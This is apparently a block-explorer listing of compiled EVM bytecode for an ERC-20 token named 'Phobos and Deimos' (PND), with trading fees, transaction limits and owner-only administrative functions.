ffffffffffffffffffffffffffffffffffff1663a9059cbb60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b815260040161167792919061356d565b6020604051808303815f875af1158015611693573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116b791906134f0565b505050565b601960029054906101000a900460ff1681565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6117596119c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117dc906130dd565b60405180910390fd5b81601960016101000a81548160ff021916908315150217905550806015819055505050565b6118126119c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461189e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611895906130dd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361190c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190390613604565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3390613692565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa190613720565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b849190612ea7565b60405180910390a3505050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16159050919050565b600160045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611caa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca1906137ae565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0f9061383c565b60405180910390fd5b5f8111611d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d51906138ca565b60405180910390fd5b5f611d63611372565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611dd15750611da1611372565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561252a57611e126064611e04600c54600f5411611df157600854611df5565b600a545b8561283c90919063ffffffff16565b6128b390919063ffffffff16565b90506007544303611e9857606560055f4381526020019081526020015f205410611e71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6890613932565b60405180910390fd5b60055f4381526020019081526020015f205f815480929190611e9290613950565b91905055505b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611f3b575060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f8e575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561204857601254821115611fd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcf906139e1565b60405180910390fd5b60135482611fe585610bc2565b611fef91906139ff565b1115612030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202790613a7c565b60405180910390fd5b600f5f81548092919061204290613950565b91905055505b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156120e6575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561214457601354826120f885610bc2565b61210291906139ff565b1115612143576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213a90613a7c565b60405180910390fd5b5b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156121c657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561220a5761220760646121f9600d54600f54116121e6576009546121ea565b600b545b8561283c90919063ffffffff16565b6128b390919063ffffffff16565b90505b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156122a8575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156122e057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156122e9575f90505b5f6122f330610bc2565b9050601960029054906101000a900460ff16801561231d575060195f9054906101000a900460ff16155b801561236f575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156123875750601960019054906101000a900460ff165b8015612394575060145481115b80156123a35750600e54600f54115b15612457576011544311156123ba575f6010819055505b60185460105410612400576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f790613ae4565b60405180910390fd5b61241d61241884612413846015546128fc565b6128fc565b612914565b5f4790505f8111156124335761243247612b7d565b5b60105f81548092919061244590613950565b91905055504360118190555050612528565b60195f9054906101000a900460ff161580156124b9575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156124d15750601960019054906101000a900460ff165b80156124de575060145481115b80156124ed5750600e54600f54115b156125275761250f61250a84612505846015546128fc565b6128fc565b612914565b5f4790505f8111156125255761252447612b7d565b5b505b5b505b5f811115612629576125828160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612be590919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126209190612ea7565b60405180910390a35b6126798260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c4290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061271c6126d08284612c4290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612be590919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6127bf8486612c4290919063ffffffff16565b6040516127cc9190612ea7565b60405180910390a350505050565b5f838311158290612821576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128189190612d76565b60405180910390fd5b505f838561282f9190613b02565b9050809150509392505050565b5f80830361284c575f90506128ad565b5f828461285991906132a1565b90508284826128689190613b62565b146128a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289f90613c02565b60405180910390fd5b809150505b92915050565b5f6128f483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612c8b565b905092915050565b5f81831161290a578261290c565b815b905092915050565b600160195f6101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561294a57612949613c20565b5b6040519080825280602002602001820160405280156129785781602001602082028036833780820191505090505b50905030815f8151811061298f5761298e613c4d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612a33573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612a57919061335e565b81600181518110612a6b57612a6a613c4d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612ad13060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846119ce565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612b33959493929190613d31565b5f604051808303815f87803b158015612b4a575f80fd5b505af1158015612b5c573d5f803e3d5ffd5b50505050505f60195f6101000a81548160ff02191690831515021790555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612be1573d5f803e3d5ffd5b5050565b5f808284612bf391906139ff565b905083811015612c38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c2f90613dd3565b60405180910390fd5b8091505092915050565b5f612c8383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506127da565b905092915050565b5f8083118290612cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cc89190612d76565b60405180910390fd5b505f8385612cdf9190613b62565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612d23578082015181840152602081019050612d08565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612d4882612cec565b612d528185612cf6565b9350612d62818560208601612d06565b612d6b81612d2e565b840191505092915050565b5f6020820190508181035f830152612d8e8184612d3e565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612dc382612d9a565b9050919050565b612dd381612db9565b8114612ddd575f80fd5b50565b5f81359050612dee81612dca565b92915050565b5f819050919050565b612e0681612df4565b8114612e10575f80fd5b50565b5f81359050612e2181612dfd565b92915050565b5f8060408385031215612e3d57612e3c612d96565b5b5f612e4a85828601612de0565b9250506020612e5b85828601612e13565b9150509250929050565b5f8115159050919050565b612e7981612e65565b82525050565b5f602082019050612e925f830184612e70565b92915050565b612ea181612df4565b82525050565b5f602082019050612eba5f830184612e98565b92915050565b5f60208284031215612ed557612ed4612d96565b5b5f612ee284828501612de0565b91505092915050565b5f805f60608486031215612f0257612f01612d96565b5b5f612f0f86828701612de0565b9350506020612f2086828701612de0565b9250506040612f3186828701612e13565b9150509250925092565b5f60ff82169050919050565b612f5081612f3b565b82525050565b5f602082019050612f695f830184612f47565b92915050565b612f7881612db9565b82525050565b5f602082019050612f915f830184612f6f565b92915050565b5f60208284031215612fac57612fab612d96565b5b5f612fb984828501612e13565b91505092915050565b612fcb81612e65565b8114612fd5575f80fd5b50565b5f81359050612fe681612fc2565b92915050565b5f6020828403121561300157613000612d96565b5b5f61300e84828501612fd8565b91505092915050565b5f806040838503121561302d5761302c612d96565b5b5f61303a85828601612de0565b925050602061304b85828601612de0565b9150509250929050565b5f806040838503121561306b5761306a612d96565b5b5f61307885828601612fd8565b925050602061308985828601612e13565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6130c7602083612cf6565b91506130d282613093565b602082019050919050565b5f6020820190508181035f8301526130f4816130bb565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561317d57808604811115613159576131586130fb565b5b60018516156131685780820291505b808102905061317685613128565b945061313d565b94509492505050565b5f826131955760019050613250565b816131a2575f9050613250565b81600181146131b857600281146131c2576131f1565b6001915050613250565b60ff8411156131d4576131d36130fb565b5b8360020a9150848211156131eb576131ea6130fb565b5b50613250565b5060208310610133831016604e8410600b84101617156132265782820a905083811115613221576132206130fb565b5b613250565b6132338484846001613134565b9250905081840481111561324a576132496130fb565b5b81810290505b9392505050565b5f61326182612df4565b915061326c83612f3b565b92506132997fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613186565b905092915050565b5f6132ab82612df4565b91506132b683612df4565b92508282026132c481612df4565b915082820484148315176132db576132da6130fb565b5b5092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f613316601783612cf6565b9150613321826132e2565b602082019050919050565b5f6020820190508181035f8301526133438161330a565b9050919050565b5f8151905061335881612dca565b92915050565b5f6020828403121561337357613372612d96565b5b5f6133808482850161334a565b91505092915050565b5f60408201905061339c5f830185612f6f565b6133a96020830184612f6f565b9392505050565b5f819050919050565b5f819050919050565b5f6133dc6133d76133d2846133b0565b6133b9565b612df4565b9050919050565b6133ec816133c2565b82525050565b5f60c0820190506134055f830189612f6f565b6134126020830188612e98565b61341f60408301876133e3565b61342c60608301866133e3565b6134396080830185612f6f565b61344660a0830184612e98565b979650505050505050565b5f8151905061345f81612dfd565b92915050565b5f805f6060848603121561347c5761347b612d96565b5b5f61348986828701613451565b935050602061349a86828701613451565b92505060406134ab86828701613451565b9150509250925092565b5f6040820190506134c85f830185612f6f565b6134d56020830184612e98565b9392505050565b5f815190506134ea81612fc2565b92915050565b5f6020828403121561350557613504612d96565b5b5f613512848285016134dc565b91505092915050565b5f61353561353061352b84612d9a565b6133b9565b612d9a565b9050919050565b5f6135468261351b565b9050919050565b5f6135578261353c565b9050919050565b6135678161354d565b82525050565b5f6040820190506135805f83018561355e565b61358d6020830184612e98565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6135ee602683612cf6565b91506135f982613594565b604082019050919050565b5f6020820190508181035f83015261361b816135e2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61367c602483612cf6565b915061368782613622565b604082019050919050565b5f6020820190508181035f8301526136a981613670565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61370a602283612cf6565b9150613715826136b0565b604082019050919050565b5f6020820190508181035f830152613737816136fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613798602583612cf6565b91506137a38261373e565b604082019050919050565b5f6020820190508181035f8301526137c58161378c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613826602383612cf6565b9150613831826137cc565b604082019050919050565b5f6020820190508181035f8301526138538161381a565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6138b4602983612cf6565b91506138bf8261385a565b604082019050919050565b5f6020820190508181035f8301526138e1816138a8565b9050919050565b7f457863656564732062757973206f6e2074686520666972737420626c6f636b2e5f82015250565b5f61391c602083612cf6565b9150613927826138e8565b602082019050919050565b5f6020820190508181035f83015261394981613910565b9050919050565b5f61395a82612df4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361398c5761398b6130fb565b5b600182019050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f6139cb601983612cf6565b91506139d682613997565b602082019050919050565b5f6020820190508181035f8301526139f8816139bf565b9050919050565b5f613a0982612df4565b9150613a1483612df4565b9250828201905080821115613a2c57613a2b6130fb565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f613a66601a83612cf6565b9150613a7182613a32565b602082019050919050565b5f6020820190508181035f830152613a9381613a5a565b9050919050565b7f43412062616c616e63652073656c6c00000000000000000000000000000000005f82015250565b5f613ace600f83612cf6565b9150613ad982613a9a565b602082019050919050565b5f6020820190508181035f830152613afb81613ac2565b9050919050565b5f613b0c82612df4565b9150613b1783612df4565b9250828203905081811115613b2f57613b2e6130fb565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613b6c82612df4565b9150613b7783612df4565b925082613b8757613b86613b35565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613bec602183612cf6565b9150613bf782613b92565b604082019050919050565b5f6020820190508181035f830152613c1981613be0565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613cac81612db9565b82525050565b5f613cbd8383613ca3565b60208301905092915050565b5f602082019050919050565b5f613cdf82613c7a565b613ce98185613c84565b9350613cf483613c94565b805f5b83811015613d24578151613d0b8882613cb2565b9750613d1683613cc9565b925050600181019050613cf7565b5085935050505092915050565b5f60a082019050613d445f830188612e98565b613d5160208301876133e3565b8181036040830152613d638186613cd5565b9050613d726060830185612f6f565b613d7f6080830184612e98565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613dbd601b83612cf6565b9150613dc882613d89565b602082019050919050565b5f6020820190508181035f830152613dea81613db1565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b5115b9cef948a97ce642b43f0d5bcc1387eded02e48750aa67c8098ad9eb62864736f6c63430008170033

Deployed Bytecode

0x6080604052600436106101c5575f3560e01c8063715018a6116100f657806395d89b4111610094578063d45cce6511610063578063d45cce65146105ea578063dd62ed3e14610614578063e68d0b0514610650578063f2fde38b14610678576101cc565b806395d89b4114610532578063a9059cbb1461055c578063bf474bed14610598578063c4e2b619146105c2576101cc565b80638da5cb5b116100d05780638da5cb5b1461048e5780638f9a55c0146104b857806390b60549146104e257806390d49b9d1461050a576101cc565b8063715018a6146104385780637d1db4a51461044e5780638a8c523c14610478576101cc565b80632017e87a1161016357806349bd5a5e1161013d57806349bd5a5e1461036e5780635979b1a7146103985780636e463667146103d457806370a08231146103fc576101cc565b80632017e87a146102e057806323b872dd14610308578063313ce56714610344576101cc565b80630f144a481161019f5780630f144a481461024c5780630faee56f1461026257806310c435aa1461028c57806318160ddd146102b6576101cc565b806301ab6ee5146101d057806306fdde03146101e6578063095ea7b314610210576101cc565b366101cc57005b5f80fd5b3480156101db575f80fd5b506101e46106a0565b005b3480156101f1575f80fd5b506101fa6107d2565b6040516102079190612d76565b60405180910390f35b34801561021b575f80fd5b5061023660048036038101906102319190612e27565b61080f565b6040516102439190612e7f565b60405180910390f35b348015610257575f80fd5b5061026061082c565b005b34801561026d575f80fd5b50610276610927565b6040516102839190612ea7565b60405180910390f35b348015610297575f80fd5b506102a061092d565b6040516102ad9190612ea7565b60405180910390f35b3480156102c1575f80fd5b506102ca610933565b6040516102d79190612ea7565b60405180910390f35b3480156102eb575f80fd5b5061030660048036038101906103019190612ec0565b610957565b005b348015610313575f80fd5b5061032e60048036038101906103299190612eeb565b610a06565b60405161033b9190612e7f565b60405180910390f35b34801561034f575f80fd5b50610358610ada565b6040516103659190612f56565b60405180910390f35b348015610379575f80fd5b50610382610ae2565b60405161038f9190612f7e565b60405180910390f35b3480156103a3575f80fd5b506103be60048036038101906103b99190612ec0565b610b07565b6040516103cb9190612e7f565b60405180910390f35b3480156103df575f80fd5b506103fa60048036038101906103f59190612f97565b610b24565b005b348015610407575f80fd5b50610422600480360381019061041d9190612ec0565b610bc2565b60405161042f9190612ea7565b60405180910390f35b348015610443575f80fd5b5061044c610c08565b005b348015610459575f80fd5b50610462610d56565b60405161046f9190612ea7565b60405180910390f35b348015610483575f80fd5b5061048c610d5c565b005b348015610499575f80fd5b506104a2611372565b6040516104af9190612f7e565b60405180910390f35b3480156104c3575f80fd5b506104cc611399565b6040516104d99190612ea7565b60405180910390f35b3480156104ed575f80fd5b5061050860048036038101906105039190612fec565b61139f565b005b348015610515575f80fd5b50610530600480360381019061052b9190612ec0565b611450565b005b34801561053d575f80fd5b50610546611527565b6040516105539190612d76565b60405180910390f35b348015610567575f80fd5b50610582600480360381019061057d9190612e27565b611564565b60405161058f9190612e7f565b60405180910390f35b3480156105a3575f80fd5b506105ac611581565b6040516105b99190612ea7565b60405180910390f35b3480156105cd575f80fd5b506105e860048036038101906105e39190612e27565b611587565b005b3480156105f5575f80fd5b506105fe6116bc565b60405161060b9190612e7f565b60405180910390f35b34801561061f575f80fd5b5061063a60048036038101906106359190613017565b6116cf565b6040516106479190612ea7565b60405180910390f35b34801561065b575f80fd5b5061067660048036038101906106719190613055565b611751565b005b348015610683575f80fd5b5061069e60048036038101906106999190612ec0565b61180a565b005b6106a86119c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610734576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072b906130dd565b60405180910390fd5b6009600a6107429190613257565b6461f313f88061075291906132a1565b6012819055506009600a6107669190613257565b6461f313f88061077691906132a1565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6107ab9190613257565b6461f313f8806107bb91906132a1565b6040516107c89190612ea7565b60405180910390a1565b60606040518060400160405280601181526020017f50686f626f7320616e64204465696d6f73000000000000000000000000000000815250905090565b5f61082261081b6119c7565b84846119ce565b6001905092915050565b6108346119c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906130dd565b60405180910390fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610924573d5f803e3d5ffd5b50565b60155481565b60185481565b5f6009600a6109429190613257565b6461f313f88061095291906132a1565b905090565b61095f6119c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e2906130dd565b60405180910390fd5b6109f481611b91565b15610a0357610a0281611be4565b5b50565b5f610a12848484611c3c565b610acf84610a1e6119c7565b610aca85604051806060016040528060288152602001613df26028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610a816119c7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546127da9092919063ffffffff16565b6119ce565b600190509392505050565b5f6009905090565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6004602052805f5260405f205f915054906101000a900460ff1681565b610b2c6119c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baf906130dd565b60405180910390fd5b8060188190555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610c106119c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c93906130dd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60125481565b610d646119c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610df0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de7906130dd565b60405180910390fd5b601760149054906101000a900460ff1615610e40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e379061332c565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610edd3060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610ec89190613257565b6461f313f880610ed891906132a1565b6119ce565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f47573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f6b919061335e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ff1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611015919061335e565b6040518363ffffffff1660e01b8152600401611032929190613389565b6020604051808303815f875af115801561104e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611072919061335e565b60175f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160045f60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111e530610bc2565b5f806111ef611372565b426040518863ffffffff1660e01b8152600401611211969594939291906133f2565b60606040518083038185885af115801561122d573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906112529190613465565b50505060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112f29291906134b5565b6020604051808303815f875af115801561130e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061133291906134f0565b506001601960016101000a81548160ff0219169083151502179055506001601760146101000a81548160ff02191690831515021790555043600781905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60135481565b6113a76119c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611433576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142a906130dd565b60405180910390fd5b80601960026101000a81548160ff02191690831515021790555050565b6114586119c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db906130dd565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606040518060400160405280600381526020017f504e440000000000000000000000000000000000000000000000000000000000815250905090565b5f6115776115706119c7565b8484611c3c565b6001905092915050565b60145481565b61158f6119c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461161b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611612906130dd565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b815260040161167792919061356d565b6020604051808303815f